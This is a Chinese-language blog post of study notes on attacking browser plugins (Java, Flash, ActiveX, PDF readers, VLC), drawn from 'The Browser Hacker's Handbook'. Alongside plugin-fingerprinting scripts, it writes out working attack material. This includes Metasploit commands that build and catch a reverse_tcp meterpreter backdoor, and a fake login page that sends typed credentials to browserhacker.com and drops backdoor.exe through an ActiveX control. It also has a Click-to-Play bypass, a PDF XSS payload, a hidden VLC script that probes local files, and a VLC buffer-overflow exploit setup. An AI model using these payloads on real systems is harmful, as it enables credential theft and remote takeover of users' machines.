攻擊插件

插件接口將外部代碼或應用綁定到瀏覽器,從而利用這些第三方插件

理解插件

插件由兩部分組成:

  • 瀏覽器API:控制瀏覽器與外部代碼的交互
  • 腳本API:允許瀏覽器內部的代表插件的對象可以通過Web API操作

插件與擴展的區別

擴展:通過JavaScript和其他API利用已有的瀏覽器接口來增加功能,在多個頁面有效

插件:利用外部代碼,只有接收到特點文件格式才使用

  • 文件通過<object>或<embed>標籤嵌入網頁
  • Content-type引用一個MIME類型,表示瀏覽器如何處理這種文件

插件與標準程序的區別

插件與標準程序的區別在於,它們獨立地擴展瀏覽器功能。插件通常會與外部應用調用相同
的代碼。

調用插件

調用的兩種途徑:

  • Web服務器交付的Content-type與相應的MIME類型匹配
    • 示例
      示例
  • 通過<embed>或<object>標籤
    • 示例
     <object data="flashdemo.swf" type="application/x-shockwave-flash">
     <param name="bhh" value="true">     //向Flash插件中傳入bhh參數
     </object>
    
點擊播放(Click to Play)

Click to Play(點擊播放)是在運行插件之前請求用戶授權。

採集插件指紋

檢測插件

手動檢測

Firefox和Chrome會把安裝的插件放在一個DOM對象navigator.plugins中

因此簡單創建一個網頁,結合Mozilla參考信息輸出一個表格即可:

<HTML>
<BODY>
<SCRIPT>
var pluginLen = navigator.plugins.length;   
document.write("<TABLE><TR><TH COLSPAN=4>");
document.write(
	"Plugins Found: " + pluginLen.toString() + " </TH></TR>" +
	"<TR><TH>Name</TH><TH>Filename</TH>" +
	"<TH>Description</TH><TH>Version</TH></TR>\n"
);

//獲取navigator.plugins中的信息
for(var i = 0; i < pluginLen; i++) {
	document.write(
		"<TR><TD>"+
		navigator.plugins[i].name +
		"</TD><TD>" +
		navigator.plugins[i].filename +
		"</TD><TD>" +
		navigator.plugins[i].description +
		"</TD><TD>" +
		navigator.plugins[i].version +
		"</TD></TR>\n"
	);
}

document.write("</TABLE>");
</SCRIPT>
</BODY>
</HTML>

可以進一步檢測navigator.mimeTypes這個DOM對象,獲取相應的插件是否返回MimeType對象,或者返回undefined。

  • 檢測是否安裝Flash:!!navigator.mimeTypes["application/x-shockwave-flash"]

在IE中,多數插件都在ActiveX控件中執行

檢測系統中是否安裝了某插件,可以嘗試實例化一個ActiveX對象並檢測實例化之後返回的是不是一個有效的對象。

flash_versions = 11;
flash_installed = false;
objname = "ShockwaveFlash.ShockwaveFlash.";
if (window.ActiveXObject) {
	for (x = 2; x <= flash_versions; x++) {
		try {
			Flash = eval("new ActiveXObject('" + objname + x + "');");
			if (Flash) {
				flash_installed = true;
			}
		} catch (e) { }
	}
}
自動檢測

PluginDetect

  • 插件檢測框架
BeEF檢測

攻擊插件

繞過點擊播放

某些小型或隱藏插件的實例,可能不會請求用戶許可也能執行。

Firefox的示例
<html>
	<head>
	<style type='text/css'>
		#overlay {
			background-color: black;
			position: absolute;
			top: 0px;
			left: 0px;
			width: 550px;
			height: 450px;
			color: white;
			text-align: center;
			padding-top: 100px;
			pointer-events: none;    //阻止在黑色#overlay div上觸發任何鼠標事件
		}
	</style>
	<body>
		<div id="overlay">Click here</div>
		<applet code="Foo.class" width="500" height="500"/>
	</body>
</html>
Java示例
void initAppletAdapter(AppletExecutionRunnable
	paramAppletExecutionRunnable)
	throws ClassNotFoundException, IllegalAccessException,
	ExitException, JRESelectException, IOException,
	InstantiationException {
		long l = DeployPerfUtil.put(0L,"Plugin2Manager.createApplet() - BEGIN");
		/*
		* 取得"code"和"object"小程序屬性的值
		*/
		String str1 = getSerializedObject();
		String str2 = getCode();
		[...snip...]
		if ((str2 != null) && (str1 != null)) {
			System.err.println(amh.getMessage("runloader.err"));
			throw new InstantiationException("Either \"code\" or \"object\"" +" should be specified, but not both.");
		}
		if ((str2 == null) && (str1 == null))
			return;
		if (str2 != null) {       
			/*
			* 通過"code"屬性正常加載小程序
			* 觸發Ctp pop=up,等待用戶介入
			*/
			if (fireAppletSSVValidation()) {
				appletSSVRelaunch();
			}
			[...snip...]
		} else {         //如果沒有使用code屬性,Java假設你會使用object屬性,也就是加載序列化後的小程序。這時候,不會觸發點擊播放機制
			if (!this.isSecureVM)
				return;
			// 通過"object"屬性加載serialized小程序
			this.adapter.instantiateSerialApplet(localPlugin2ClassLoader, str1);
			this.doInit = false;
			DeployPerfUtil.put("Plugin2Manager.createApplet()" +" - post: secureVM .. serialized .. ");
			}
			[...snip...]
			DeployPerfUtil.put(l, "Plugin2Manager.initAppletAdapter() - END");
}

利用:
<embed object="object.ser" type="application/x-java-applet;version=1.6">

攻擊Java

Java小程序
  • 簽名小程序:可以在沙箱外部執行代碼
  • 未簽名小程序:在沙箱內執行代碼,默認會屏蔽代碼訪問文件系統以及執行操作系統命令
檢測Java

使用System.getProperty方法獲取Java版本或廠商:

import java.applet.*;
import java.awt.*;
public class JVersion extends Applet{
	public JVersion() {
		super();
		return;
	}

	public static String execute() {
		return (" Java Version: " + System.getProperty("java.version")+" by "+System.getProperty("java.vendor"));
	}
}

調用上面代碼的HTML及JavaScript代碼:

<object id='JVersion' name='JVersion'>
	<param name='code' value='JVersion.class' />
	<param name='codebase' value='null' />
	<param name='archive' value='http://browserhacker.com/JVersion.jar' />
</object>
<script>
	document.write(document.JVersion.execute());
</script>
破解Java小程序
  • Java反編譯器:JD-GUI
繞過Java沙箱
  • CVE-2013-0422
利用Java
  • CVE-2013-2423
    • Metasoloit模塊:java_jre17_driver_manager

攻擊Flash

共享對象

支持從數據存儲中本地或遠程檢索數據。共享對象最常見的用途就是Flash的cookie。

  • 共享對象數據並不經常清除
  • 共享對象信息
    • Mac:Library/Preferences/Macromedia/Flash Player/#SharedObjects/
    • Windows:C:\Documents and Settings\ [username]\Application Data\Macromedia\Flash Player
ActionScript

ActionScript是一個開源的腳本語言,Adobe Flash和Apache Flex都在使用。
Flash的設計初衷是增強網頁功能,因此通常很少需要與操作系統直接交互。
ActionScript則可以發送網絡和Web請求,訪問某些外圍設備,以及向用戶發送流媒體。

  • 轉碼工具:SWFScan
利用攝像頭和麥克風
  • 查看攝像頭是否開啓:查詢Camera類的name屬性
  • 查看麥克風:Microphone類和NetStream類
Flash模糊測試

攻擊ActiveX插件

ActiveX是爲IE設計的,但有插件可以使Chrome和Firefox在不打開IE窗口的前提下運行ActiveX。

  • 示例
    • Metasploit
      • 生成payload:msfpayload windows/meterpreter/reverse_tcp LHOST=攻擊者地址 LPORT=8675 R | msfencode -c 3 -t exe > backdoor.exe
      • 啓動Metasploit的msfconsole,允許payload連接
      • 啓動multi/handler
        use multi/handler
        set payload windows/meterpreter/reverse_tcp
        set LHOST 攻擊者地址
        set LPORT 8675
        set ExitOnSession false
        exploit -j
      • 構建虛假界面
      <html>
      <body>
      <script>
      function submitData()
      {
      	var x = document.getElementById("sploit");
      	var url = "http://browserhacker.com/capture.rb?un=" +
      	x.elements[0].value + "&pw=" + x.elements[1].value;
      	document.getElementById('t1').background=url;
      }
      </script>
      <div align=center>
      <form id="sploit" >
      <table id='t1' border=0 background="">
      <tr><th colspan=2>BrowserVictim.com Chat System<BR> Please Log in with your ActiveDirectory Credentials</th></tr>
      <tr><th>Username:</th><td><input type=text name="user"></td></tr>
      <tr><th>Password:</th><td><input type=password name="pass" onBlur="submitData()"></th></tr>
      <tr><th colspan=2>
      <object classid='clsid:C28A127E-4A85-11D3-A5FF-00A0249E352D' id='target'></object>
      </tr></td>
      </form>
      <BR>
      </div>
      <script language='vbscript'>
      document.getElementById("target").fileName = "Z:\\backdoor.exe"
      </script>
      </body>
      </html>
      

攻擊PDF閱讀器

PDF中使用JavaScript
  • UXSS
    UXSS漏洞允許用戶向PDF中傳入參數,然後文檔中的JavaScript可以處理這些參數。
    http://browserhacker.com/test.pdf#PDF=javascript:alert('xss')
  • 啓動另一個瀏覽器
    PDF可以啓動瀏覽器並請求特定的URL,app.launchURL方法可以讓操作系統啓動默認瀏覽器。
    app.launchURL("http://browserhacker.com:3000/demos/report.html",true);

攻擊媒體插件

通過VLC掃描資源

給VLC ActiveX插件添加一個播放列表項並嘗試播放它,會得到位於播放列表中的文件是否有效的反饋。

<object style="visibility:hidden" classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921" width="0" height="0" id="vlc"></object>
<script>
vlc.playlist.clear();
vlc.playlist.add(items[i]);
vlc.playlist.playItem(0);
vlc.attachEvent("MediaPlayerPlaying", onFound);
vlc.attachEvent("MediaPlayerEncounteredError", onNotFound);
</script>

枚舉items數組中定義的資源:

try {
	var result = "";
	var i = 0;
	
	// 創建div來附加上VLC對象
	var newdiv = document.createElement('div');
	var divIdName = 'temp_div';
	newdiv.setAttribute('id',divIdName);
	newdiv.style.width = "0";
	newdiv.style.height = "0";
	newdiv.style.visibility = "hidden";
	document.body.appendChild(newdiv);
	
	// 創建對象
	document.getElementById("temp_div").innerHTML = "<object style=\"visibility:hidden\"" + " classid=\"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921\"" + " width=\"0\" height=\"0\" id=\"vlc\"></object>";
	
	var items = [
		"C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.20125.0",
		"C:\\Program Files (x86)\\Sophos\\Sophos Anti-Virus",
		"C:\\Users\\wade",
		"C:\\Users\\morru"
	]
	
	function onFound(event){
		result += items[i] + "\n";
		i++;
		console.log("Found");
		next();
	}
	
	function onNotFound(event){
		i++;
		console.log("Not Found");
		next();
	}
	
	function next(){
		if (i >= items.length){
			vlc.playlist.stop();
			// 將結果返回框架
			console.log("Discovered resources:\n" + result);
			// 清除
			var rmdiv = document.getElementById("temp_div");
			document.body.removeChild(rmdiv);
			return;
		}
		
		vlc.playlist.clear();
		vlc.playlist.add("file:///" + items[i]);
		console.log("Adding item " + items[i] + " to playlist.");
		vlc.playlist.playItem(0);
	}
	
	vlc.attachEvent("MediaPlayerPlaying", onFound);
	vlc.attachEvent("MediaPlayerEncounteredError", onNotFound);
	next();
} catch(e) {}
利用媒體播放器
  • VLC MMS Stream Handling Buffer Overflow
    漏洞通過IE及惡意URL啓動VLC,然後VLC處理該URL,於是就會導致SEH重寫,最終執行payload代碼。
  • 在Metasploit的msfconsole中啓動這個惡意URL
    use exploit/windows/browser/vlc_mms_bof
    set URIPATH /vlc
    set payload windows/meterpreter/reverse_tcp
    set LHOST 攻擊者地址
    set LPORT 8675
    exploit
參考文獻

《黑客攻防技術寶典——瀏覽器》

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章